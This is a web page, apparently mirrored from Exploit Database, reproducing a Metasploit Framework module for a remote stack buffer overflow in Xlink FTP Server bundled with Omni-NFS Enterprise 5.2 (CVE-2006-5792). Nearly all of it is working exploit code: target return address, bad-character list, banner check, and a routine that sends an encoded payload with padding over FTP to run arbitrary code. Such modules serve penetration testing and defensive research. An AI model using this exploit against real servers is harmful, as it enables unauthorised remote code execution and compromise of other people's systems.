Xlink FTP Server – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 6 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16718/

• ##
  # $Id: xlink_server.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Xlink FTP Server Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Xlink FTP Server
  				that comes bundled with Omni-NFS Enterprise 5.2.
  				When a overly long FTP request is sent to the server,
  				arbitrary code may be executed.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-5792' ],
  					[ 'OSVDB', '58646' ],
  					[ 'URL', 'http://www.metasploit.com/' ],
  					[ 'URL', 'http://www.xlink.com' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 260,
  					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
  				],
  			'DisclosureDate' => 'Oct 3 2009',
  			'DefaultTarget'=> 0))
  
  		deregister_options('FTPUSER', 'FTPPASS')
  	end
  
  	def check
  		connect
  		disconnect
  
  		if (banner =~ /XLINK FTP Server/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		connect
  
  		sploit =payload.encoded + [target.ret].pack('V')
  		sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  
  	end
  
  end